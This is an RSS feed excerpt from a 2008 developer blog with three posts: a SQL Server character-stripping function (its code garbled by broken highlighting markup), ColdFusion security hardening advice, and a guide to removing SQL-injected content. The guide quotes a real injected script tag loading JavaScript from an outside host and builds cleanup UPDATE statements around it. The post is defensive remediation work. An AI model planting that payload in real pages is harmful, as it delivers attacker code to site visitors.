<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><<span style="color: #0000ff;">|</span>/1/>CREATE</span> <<span style="color: #0000ff;">|</span>/1/>FUNCTION</span> dbo.udf_ReplaceChars
<span style="color: #66cc66;">&#40;</span>
@ReplaceList		<<span style="color: #0000ff;">|</span>/2/>VARCHAR</span><span style="color: #66cc66;">&#40;</span><<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">50</span><span style="color: #66cc66;">&#41;</span>,
@String			<<span style="color: #0000ff;">|</span>/2/>VARCHAR</span><span style="color: #66cc66;">&#40;</span><<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">100</span><span style="color: #66cc66;">&#41;</span>
<span style="color: #66cc66;">&#41;</span>
<<span style="color: #0000ff;">|</span>/1/>RETURNS</span> <<span style="color: #0000ff;">|</span>/2/>VARCHAR</span><span style="color: #66cc66;">&#40;</span><<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">100</span><span style="color: #66cc66;">&#41;</span>
<<span style="color: #0000ff;">|</span>/1/>AS</span>
<<span style="color: #0000ff;">|</span>/1/>BEGIN</span>
	<<span style="color: #0000ff;">|</span>/1/>DECLARE</span>	@<<span style="color: #0000ff;">|</span>/2/>CHAR</span>		<<span style="color: #0000ff;">|</span>/2/>CHAR</span><span style="color: #66cc66;">&#40;</span><<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span>,
		@Loop		<<span style="color: #0000ff;">|</span>/2/>INT</span>
&nbsp;
	<<span style="color: #0000ff;">|</span>/1/>SET</span> @Loop  <span style="color: #0000ff;">=</span> <<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">0</span>
	<<span style="color: #0000ff;">|</span>/1/>WHILE</span> @Loop <span style="color: #66cc66;">&lt;</span> <span style="color: #0000ff;">=</span> <span style="color: #ff00ff;">LEN</span><span style="color: #66cc66;">&#40;</span>@ReplaceList<span style="color: #66cc66;">&#41;</span>
	<<span style="color: #0000ff;">|</span>/1/>BEGIN</span>
		<<span style="color: #0000ff;">|</span>/1/>SET</span>	@Loop <span style="color: #0000ff;">=</span> @Loop <span style="color: #0000ff;">+</span> <<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">1</span>
		<<span style="color: #0000ff;">|</span>/1/>SET</span>	@<<span style="color: #0000ff;">|</span>/2/>CHAR</span> <span style="color: #0000ff;">=</span> <span style="color: #ff00ff;">SUBSTRING</span><span style="color: #66cc66;">&#40;</span>@ReplaceList, @Loop, <<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span>
		<<span style="color: #0000ff;">|</span>/1/>SET</span>	@String <span style="color: #0000ff;">=</span> <span style="color: #ff00ff;">REPLACE</span><span style="color: #66cc66;">&#40;</span>@String, @<<span style="color: #0000ff;">|</span>/2/>CHAR</span>, <span style="color: #ff0000;">''</span><span style="color: #66cc66;">&#41;</span>
	<<span style="color: #0000ff;">|</span>/1/>END</span>
&nbsp;
	<<span style="color: #0000ff;">|</span>/1/>RETURN</span>		@String
&nbsp;
<<span style="color: #0000ff;">|</span>/1/>END</span>
<<span style="color: #0000ff;">|</span>/1/>GO</span></pre></div></div>

<p>The function simply loops over the replace list, finding each instance of the list item in the string in which we want to replace items. The new string is then returned out of the function.</p>
<h3>The Function In Use</h3>
<p>A very simple use of the replace function could be as follows:</p>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><<span style="color: #0000ff;">|</span>/1/>SELECT</span> dbo.udf_ReplaceChars<span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">'=,/,&lt;,&gt;,@,~,#'</span>, columnName<span style="color: #66cc66;">&#41;</span> <<span style="color: #0000ff;">|</span>/1/>AS</span> newColumn, columnName
<<span style="color: #0000ff;">|</span>/1/>FROM</span> tableName</pre></div></div>

<p>The function is not restricted to <code>SELECT</code> statements. Below is an example of an <code>UPDATE</code> statement utilising a variable:</p>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><<span style="color: #0000ff;">|</span>/1/>UPDATE</span> tableName
<<span style="color: #0000ff;">|</span>/1/>SET</span> columnName <span style="color: #0000ff;">=</span> dbo.udf_ReplaceChars<span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">'=,/,&lt;,&gt;,@,~,#'</span>, @variableName<span style="color: #66cc66;">&#41;</span>
<<span style="color: #0000ff;">|</span>/1/>WHERE</span> idName <span style="color: #0000ff;">=</span> @myId</pre></div></div>

<h3>Download the Code</h3>
<p><a href="/examples/sql/functions/udf_ReplaceChars.txt" title="Download the code">Download the code</a>, rename the file to .sql and run on your database instance. You will then be able to reference the function in your Stored Procedures.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.simonwhatley.co.uk/sql-user-defined-function-replacechars/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to Protect Your Website from a Malicious Attack</title>
		<link>http://www.simonwhatley.co.uk/how-to-protect-your-website-from-a-malicious-attack</link>
		<comments>http://www.simonwhatley.co.uk/how-to-protect-your-website-from-a-malicious-attack#comments</comments>
		<pubDate>Mon, 18 Aug 2008 12:54:20 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Adobe]]></category>
		<category><![CDATA[Application.cfc]]></category>
		<category><![CDATA[Application.cfm]]></category>
		<category><![CDATA[attack]]></category>
		<category><![CDATA[best practice]]></category>
		<category><![CDATA[Business]]></category>
		<category><![CDATA[cfquery]]></category>
		<category><![CDATA[cfqueryparam]]></category>
		<category><![CDATA[ColdFusion]]></category>
		<category><![CDATA[ColdFusion Administrator]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[database server]]></category>
		<category><![CDATA[Databases]]></category>
		<category><![CDATA[encryption]]></category>
		<category><![CDATA[firewall]]></category>
		<category><![CDATA[how to]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[Manitoba]]></category>
		<category><![CDATA[Mark Kruger]]></category>
		<category><![CDATA[prevention]]></category>
		<category><![CDATA[protection]]></category>
		<category><![CDATA[raw processing]]></category>
		<category><![CDATA[RDBMS]]></category>
		<category><![CDATA[script protect]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[software releases]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[url]]></category>
		<category><![CDATA[variables]]></category>
		<category><![CDATA[vulnerability]]></category>
		<category><![CDATA[Web Application Hacker]]></category>
		<category><![CDATA[web code]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[Web Server]]></category>
		<category><![CDATA[Web Servers]]></category>
		<category><![CDATA[webserver]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.simonwhatley.co.uk/?p=809</guid>
		<description><![CDATA[Every seasoned developer will know that protecting your website from a hacker is a top priority, whether for your own reputation or for maintaining your company's reputation and log-term revenue prospects.]]></description>
			<content:encoded><![CDATA[<p>Every seasoned developer will know that protecting your website from a hacker is a top priority, whether for your own reputation or for maintaining your company&#8217;s reputation and log-term revenue prospects.</p>
<p><strong>Why should you be worried about security?</strong></p>
<p>The Web is changing many of the assumptions that people have historically made about computer security and publishing. As the Internet makes it possible for web servers to publish information to millions of users, it also makes it possible for computer hackers, crackers, criminals, vandals, and other &#8220;bad guys&#8221; to break into the very computers on which the web servers are running. Once subverted, web servers can be used by attackers as a launching point for conducting further attacks against users and organisations.</p>
<p>It is considerably more expensive and more time-consuming to recover from a security incident than to take preventative measures ahead of time.</p>
<p>This blog post started on the premise of protecting your website from a <a href="http://en.wikipedia.org/wiki/SQL_injection" title="Wikipedia: SQL Injection" target="_blank" rel="nofollow">SQL Injection</a> Attack. However, it is also appropriate to discuss, at a relatively high level, how to secure your server architecture and applications.</p>
<h3>Server-Level Security</h3>
<ul>
<li>Separate web- and database-servers on to different physical machines.</li>
<li>Secure the web- and database-servers with traditional techniques. Only authorised accounts should have the capabilities to run tasks on the machine. That means not giving admin-rights to the user account.</li>
<li>Keep servers up-to-date with the latest patches and software releases.</li>
<li>Minimise the number of services running on the server. This means limiting the services to only those required for the web- or database-servers to function.</li>
<li>Secure information in transit between servers. This may mean physically securing the network to prevent evesdropping via encryption or obfuscating the data amongst innocuous &#8216;noise&#8217;.</li>
<li>Secure the database server behind a firewall.</li>
</ul>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h3>Application-Level Security</h3>
<ul>
<li>Separate ColdFusion, the webserver and database server user accounts. They should never be under the same system account.</li>
<li>Create a database user specifically for your ColdFusion datasource and restrict it to only the activities required for the application. The user should not have database-owner rights, access to databases not relating to the application or access to the system tables.</li>
<li>Revoke privileges in the ColdFusion datasource definition to prevent the SQL commands <code>CREATE</code>, <code>DROP</code>, <code>GRANT</code>, <code>REVOKE</code> and <code>ALTER</code>.</li>
<li>General settings in the ColdFusion Administrator:
<ul>
<li>Check the <em>Disable access to internal ColdFusion Java components</em> option.</li>
<li>Check the <em>Enable Global Script Protection</em> option.</li>
<li>Add a <em>Missing Template Handler</em>.</li>
<li>Add a <em>Site-wide Error Handler</em>.</li>
<li>Reduce the <em>Maximum size of post data</em> from 100<abbr title="megabytes">MB</abbr>.</li>
<li>Enable <em>Timeout Requests</em>, and set to 60 seconds or less.</li>
<li>Disable <em>Robust Exception Handling</em> on production servers.</li>
</ul>
</li>
</ul>
<h3>Code-Level Security</h3>
<ul>
<li>Application.cfc &#8211; Set the <code>scriptProtect</code> Application variable to <code>true</code> to enable application-wide cross-site script protection.
</li>
<li>CFQueryParam &#8211; This tag, importantly, verifies the data type of a query parameter and, for <abbr title="Relational Database Management Systems">RDBMS</abbr>s that support bind variables, enables ColdFusion to use bind variables in the <acronym title="Structured Query Language">SQL</acronym> statement. Bind variable usage enhances performance when executing a <code>cfquery</code> statement multiple times.

<div class="wp_syntax"><div class="code"><pre class="cfm" style="font-family:monospace;"><span style="color: #333333;"><span style="color: #800000;">&lt;cfquery</span> <span style="color: #0000ff;">name</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;qry&quot;</span> <span style="color: #0000ff">datasource</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;#APPLICATION.dsn#&quot;</span><span style="color: #800000;">&gt;</span></span>
SELECT column1, column2, column3
FROM tableName
WHERE column4 = <span style="color: #333333;"><span style="color: #800000;">&lt;cfqueryparam</span> <span style="color: #0000ff;">value</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;#variable1#&quot;</span> <span style="color: #0000ff">cfsqltype</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;cf_sql_bit&quot;</span> <span style="color: #0000ff;">/</span><span style="color: #800000;">&gt;</span></span>
AND column5 LIKE <span style="color: #333333;"><span style="color: #800000;">&lt;cfqueryparam</span> <span style="color: #0000ff;">value</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;%#variable2#%&quot;</span> <span style="color: #0000ff">cfsqltype</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;cf_sql_varchar&quot;</span> <span style="color: #0000ff;">maxlength</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;200&quot;</span> <span style="color: #0000ff;">/</span><span style="color: #800000;">&gt;</span></span>
AND column6 IN (<span style="color: #333333;"><span style="color: #800000;">&lt;cfqueryparam</span> <span style="color: #0000ff;">value</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;#variable3#&quot;</span> <span style="color: #0000ff">cfsqltype</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;cf_sql_integer&quot;</span> <span style="color: #0000ff">list</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;true&quot;</span> <span style="color: #0000ff;">/</span><span style="color: #800000;">&gt;</span></span>)
<span style="color: #333333;"><span style="color: #800000;">&lt;/cfquery&gt;</span></span></pre></div></div>

<p>There are limitations to the use of the <code>cfqueryparam</code> tag. In ColdFusion 7 for example, you cannot use them in queries using the <code>cachedWithin</code> attribute. Similarly, they cannot be used in <code>ORDER BY</code> clauses, although the use of conditional logic should resolve the need for order by variables.
</li>
<li>Functions &#8211; As a rule of thumb, validate <em>all</em> the data being passed into a query prior to it being used. ColdFusion MX 7 saw the introduction of the <code>isValid()</code> function. This function tests whether a value meets a validation or data type rule and can be used to replace a large number of type-specific functions such as <code>isArray()</code>, <code>isBinary()</code>, <code>isBoolean()</code>, <code>isDate()</code>, <code>isNumeric()</code> and <code>isSimpleValue()</code> etc.
</li>
<li>Stored Procedures &#8211; I often favour the use of stored procedures over standard queries. Not only do they add an additional level of performance, they provide an additional level of security; ColdFusion does not do any raw processing of queries in the web code, it simply passes variables down the wire to the database server.</li>
</ul>
<h3>Additional Resources</h3>
<ul>
<li>
<a href="http://www.amazon.com/Web-Security-Privacy-Commerce-2nd/dp/0596000456/ref=pd_bbs_sr_1?ie=UTF8&#038;s=books&#038;qid=1218663002&#038;sr=8-1" title="Amazon: Web Security, Privacy and Commerce" target="_blank" rel="nofollow">Web Security, Privacy and Commerce</a></li>
<li>O&#8217;Reilly&#8217;s <a href="http://www.amazon.com/Web-Application-Hackers-Handbook-Discovering/dp/0470170778/ref=pd_bbs_sr_1?ie=UTF8&#038;s=books&#038;qid=1218663073&#038;sr=1-1" title="Amazon: The Web Application Hacker's Handbook" target="_blank" rel="nofollow">The Web Application Hacker&#8217;s Handbook</a></li>
<li>Adobe&#8217;s whitepaper &#8211; <a href="http://www.adobe.com/devnet/coldfusion/articles/dev_security/coldfusion_security_cf8.pdf" title="Adobe: ColdFusion 8 Security PDF" target="_blank" rel="nofollow">ColdFusion 8 Developer Security Guidlines</a> (<abbr title="Portable Document Format">PDF</abbr>, 281k)</li>
<li>Adobe&#8217;s whitepaper &#8211; <a href="http://www.adobe.com/devnet/coldfusion/articles/dev_security/coldfusion_security_cf7.pdf" title="Adobe: ColdFusion 7 Security PDF" target="_blank" rel="nofollow">ColdFusion 7 Developer Security Guidlines</a> (<abbr title="Portable Document Format">PDF</abbr>, 217k)</li>
<li>Adobe DevNet &#8211; <a href="http://www.adobe.com/devnet/coldfusion/articles/stored_procs.html" title="Learning Stored Procedure Basics in ColdFusion 8" target="_blank" rel="nofollow">Learning Stored Procedure Basics in ColdFusion 8</a></li>
<li>0&#215;000000 # The Hacker Webzine&#8217;s article on <a href="http://www.0x000000.com/?i=610" title="The Hacker Webzine: Attacking ColdFusion" target="_blank" rel="nofollow">Attacking ColdFusion</a></li>
<li>Three part series from Mark Kruger (ColdFusion Muse) &#8211; <a title="Query String with cfqueryparam" href="http://www.coldfusionmuse.com/index.cfm/2008/7/21/query-string-with-cfqueryparam" target="_blank" rel="nofollow">Part 1</a>, <a title="Using CAST and ASCII" href="http://www.coldfusionmuse.com/index.cfm/2008/7/18/Injection-Using-CAST-And-ASCII" target="_blank" rel="nofollow">Part 2</a>, <a title="Using Order By" href="http://www.coldfusionmuse.com/index.cfm/2008/7/21/SQL-injection-using-order-by" target="_blank" rel="nofollow">Part 3</a></li>
<li>Brad Wood&#8217;s article on <a href="http://www.codersrevolution.com/index.cfm/2008/7/26/cfqueryparam-its-not-just-for-security-also-when-NOT-to-use-it" title="CFQueryParam is not just for security - When not to use it" target="_blank" rel="nofollow">CFQueryParam is not just for security</a>.</li>
</ul>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.simonwhatley.co.uk/how-to-protect-your-website-from-a-malicious-attack/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>How to Fix a SQL Injection Attack</title>
		<link>http://www.simonwhatley.co.uk/how-to-fix-a-sql-injection-attack</link>
		<comments>http://www.simonwhatley.co.uk/how-to-fix-a-sql-injection-attack#comments</comments>
		<pubDate>Fri, 15 Aug 2008 15:33:00 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[attack]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[ColdFusion]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[database server]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[how to]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[programatically]]></category>
		<category><![CDATA[restore]]></category>
		<category><![CDATA[rollback]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[Scripting]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.simonwhatley.co.uk/?p=814</guid>
		<description><![CDATA[In my previous post, What is a SQL Injection Attack, I gave a brief overview of SQL injection and Cross-Site Scripting (XSS), primarily with regard to websites. In the example given, we saw that an attack could take the form of a ‘hacked’ URL which contained either a literal SQL statement, or a hexadecimal string that could be interpreted by an insecure SQL database server.]]></description>
			<content:encoded><![CDATA[<p>In my previous post, <a href="/what-is-a-sql-injection-attack">What is a SQL Injection Attack</a>, I gave a brief overview of <acronym title="Structured Query Language">SQL</acronym> injection and Cross-Site Scripting (<abbr title="Cross-Site Scripting">XSS</abbr>), primarily with regard to websites. In the example given, we saw that an attack could take the form of a &#8216;hacked&#8217; URL which contained either a literal <acronym title="Structured Query Language">SQL</acronym> statement, or a hexadecimal string that could be interpreted by an insecure <acronym title="Structured Query Language">SQL</acronym> database server.</p>
<p>Which ever method is used to inject <acronym title="Structured Query Language">SQL</acronym> and ultimately dangerous scripts into the database, we need to know how to deal with the problem and &#8216;roll it back&#8217; to a safe state.</p>
<p>If you have an up-to-date backup of the database prior to the attack, then restoring the database is the best course of action. If this is not the case, apart from giving yourself a kick for not implementing a backup policy, it is possible to programatically remove the injected string or code using a set of relatively-simple SQL queries.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h3>Programatically Replace Injected Code</h3>
<p>Fortunately, by the very nature of an <abbr title="Cross-Site Scripting">XSS</abbr> attack, code is appended to the data already in the database &#8212; rather than replacing it &#8212; which means we simply need to remove the appended content.</p>
<p>Taking a real-world example, below is string that was injected into the database:</p>

<div class="wp_syntax"><div class="code"><pre class="txt" style="font-family:monospace;">&quot;&gt;&lt;/title&gt;&lt;script src=&quot;http://1.verynx.cn/w.js&quot;&gt;&lt;/script&gt;&lt;!--</pre></div></div>

<p>When rendered by a standard <acronym title="Hyper-Text Markup Language">HTML</acronym> page, the string is either displayed to the user agent, or the JavaScript file is called by the page, causing a security threat.</p>
<p>With the example above, we can use the following script to recurse through and create update scripts for every &#8216;infected&#8217; table and column (of the type <code>char</code>, <code>nchar</code>, <code>varchar</code> and <code>nvarchar</code>), in the database.</p>

<div class="wp_syntax"><div class="code"><pre class="txt" style="font-family:monospace;">SELECT 'UPDATE [' + table_name + ']
SET ' + column_name + ' = REPLACE(CAST(' + column_name + ' as varchar(8000)), ''&quot;&gt;&lt;/title&gt;&lt;script src=&quot;http://1.verynx.cn/w.js&quot;&gt;&lt;/script&gt;&lt;!--'', '''')
WHERE ' + column_name + ' LIKE ''%&quot;&gt;&lt;/title&gt;&lt;script src=&quot;http://1.verynx.cn/w.js&quot;&gt;&lt;/script&gt;&lt;!--%'''
FROM information_schema.columns
WHERE (character_maximum_length is not NULL)
AND ([table_name] not like 'dt%')
AND ([table_name] not like 'sys%')</pre></div></div>

<p>The resultset then produces update statements that look like the following (I have masked the actual table and column names):</p>

<div class="wp_syntax"><div class="code"><pre class="txt" style="font-family:monospace;">UPDATE [tableName]
SET columnName = REPLACE(CAST(columnName AS VARCHAR(8000)), '&quot;&gt;&lt;/title&gt;&lt;script src=&quot;http://1.verynx.cn/w.js&quot;&gt;&lt;/script&gt;&lt;!--', '')
WHERE columnName LIKE '%&quot;&gt;&lt;/title&gt;&lt;script src=&quot;http://1.verynx.cn/w.js&quot;&gt;&lt;/script&gt;&lt;!--%'</pre></div></div>

<p>These update statements can be copied into and run in a program such as Query Analyser for Microsoft SQL Server 2000, or SQL Server Management Studio for Microsoft SQL 2005.</p>
<p>If the actual code that was injected is different, simply change the above code to suit your needs.</p>
<p><del datetime="2008-10-01T15:33:30+00:00">You can download the SQL rollback script for your own needs.</del></p>
<h3>Prevent a Successful Attack</h3>
<p>As the popular idiom goes <q>prevention is better than a cure</q>, I will discuss in my next post how to mitigate against <acronym title="Structured Query Language">SQL</acronym> Injection attacks &#8212; on ColdFusion-based websites &#8212; before they become a problem.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.simonwhatley.co.uk/how-to-fix-a-sql-injection-attack/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>

